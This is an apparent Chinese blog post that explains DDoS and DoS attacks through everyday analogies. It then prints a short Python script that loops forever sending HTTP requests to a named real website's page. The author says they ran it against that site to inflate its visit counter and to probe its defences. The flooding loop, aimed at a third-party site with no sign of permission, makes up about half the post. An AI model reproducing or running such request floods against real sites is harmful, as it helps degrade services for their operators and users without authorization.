分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
我们知道一个网站的吞吐能力是有限的,如果发起访问的次数超过了这个界限就会导致其他想要访问的人无法访问,就好比,饭店门口就那么宽,如果找一群闲散人员堵在门口排队,那正常想进去的人就进不去了。
就好比马云的无人超时里堵满了大妈一样,导致想买东西的年轻人进不去。
如果单个机器对目标进行不间断访问那就是DOS攻击,好比一个人来回的在人家那挂号,导致其他挂号的人不容易挂上。
import urllib.request
url="http://www.zkrsks.com/new/16384.shtml"
i=1
while i:
req=urllib.request.Request(url)
resp=urllib.request.urlopen(req)
刚好我看到一个可以对访问请求进行计数的网页,然后就拿它做实验,看是否能运行代码后导致快速计数增加,另外测试该网站是否有应对攻击的能力。
经过测试是有的。
|